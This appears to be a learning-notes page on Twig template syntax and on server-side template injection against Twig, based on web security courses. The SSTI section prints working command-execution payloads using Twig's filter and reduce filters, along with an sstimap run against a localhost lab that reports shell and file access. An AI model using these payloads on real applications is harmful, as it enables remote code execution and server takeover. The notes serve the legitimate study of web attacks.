Twig
Syntax
The content below is based on OffSec's WEB-200 course.
PHP does not check data types, thus, treats strings as numbers. Both the examples below will be evaluated to 25
.
{{5*5}}
{{5*'5'}}
A unique piece of Twig syntax is using -
to trim whitespace.
{{-name-}}
A for
loop.
{% for product in cart %}
Widget
Price: ${{product.price}}
Quanity: {{product.quantity}}
Total: ${{product.quantity * product.price}}
{% endfor %}
A if
statement and the use of the capitalize
filter.
<h1>{% if not admin %}sudo {% endif %}make me a sandwich, {{name|capitalize}}!</h1>
SSTI
filter
The example below is based on TCM's Practical Bug Bounty course.
Following the methodology outlined here, we can see that we are dealing with a Twig engine (Figure 1).
# payload used
${{<%[%'"}}%\.

We can also confirm that we are dealing with either a Twig or Jinja2 engine by following the steps outlined previously (Figure 2). Twig uses PHP which does not check the variable type and as a result it treats 7
and '7'
the same.
# payloads used
{{7*7}} # 49
{{7*'7'}} # 49

To make sure that this is indeed a server-side and not a client-side template injection, we can view the source code and check if the result is 49
or {{7*'7'}}
.
<div>
<hr><h3>Your message:</h3>49 </div>
</div>
Next, we can try any Twig-specific payload from this list, in this case leveraging the filter
filter, and achieve (Figure 3).
# payloads used
{{['id']|filter('system')}}
{{['pwd']|filter('system')}}

The above process could be automated using sstimap
.
$ sstimap.py -u "http://localhost:81/ssti0x01.php" --data 'greeting=*' --engine twig --method POST
<SNIP>
[*] Loaded plugins by categories: languages: 5; legacy_engines: 2; engines: 17; generic: 3
[*] Loaded request body types: 4
[*] Scanning url: http://localhost:81/ssti0x01.php
[*] Testing if Body parameter 'greeting' is injectable
[*] Twig plugin is testing rendering with tag '*'
[+] Twig plugin has confirmed injection with tag '*'
[+] SSTImap identified the following injection point:
Body parameter: greeting
Engine: Twig
Injection: *
Context: text
OS: Linux
Technique: render
Capabilities:
Shell command execution: ok
Bind and reverse shell: ok
File write: ok
File read: ok
Code evaluation: ok, php code
[+] Rerun SSTImap providing one of the following options:
--interactive Run SSTImap in interactive mode to switch between exploitation modes without losing progress.
--os-shell Prompt for an interactive operating system shell.
--os-cmd Execute an operating system command.
--eval-shell Prompt for an interactive shell on the template engine base language.
--eval-cmd Evaluate code in the template engine base language.
--tpl-shell Prompt for an interactive shell on the template engine.
--tpl-cmd Inject code in the template engine.
--bind-shell PORT Connect to a shell bind to a target port.
--reverse-shell HOST PORT Send a shell back to the attacker's port.
--upload LOCAL REMOTE Upload files to the server.
--download REMOTE LOCAL Download remote files.
reduce
The example below is based on OffSec's WEB-200 course.
Another filter we can leverage is the reduce
filter which takes an arrow function and an initial value as arguments (Figure 4).
{{[0]|reduce('var_dump','Hello')}}

reduce
filter.We can replace the arguments with something that executes system commands, such as PHP's system
function and achieve RCE (Figure 5).
{{[0]|reduce('system','whoami')}}

reduce
filter to achieve RCE.Last updated
Was this helpful?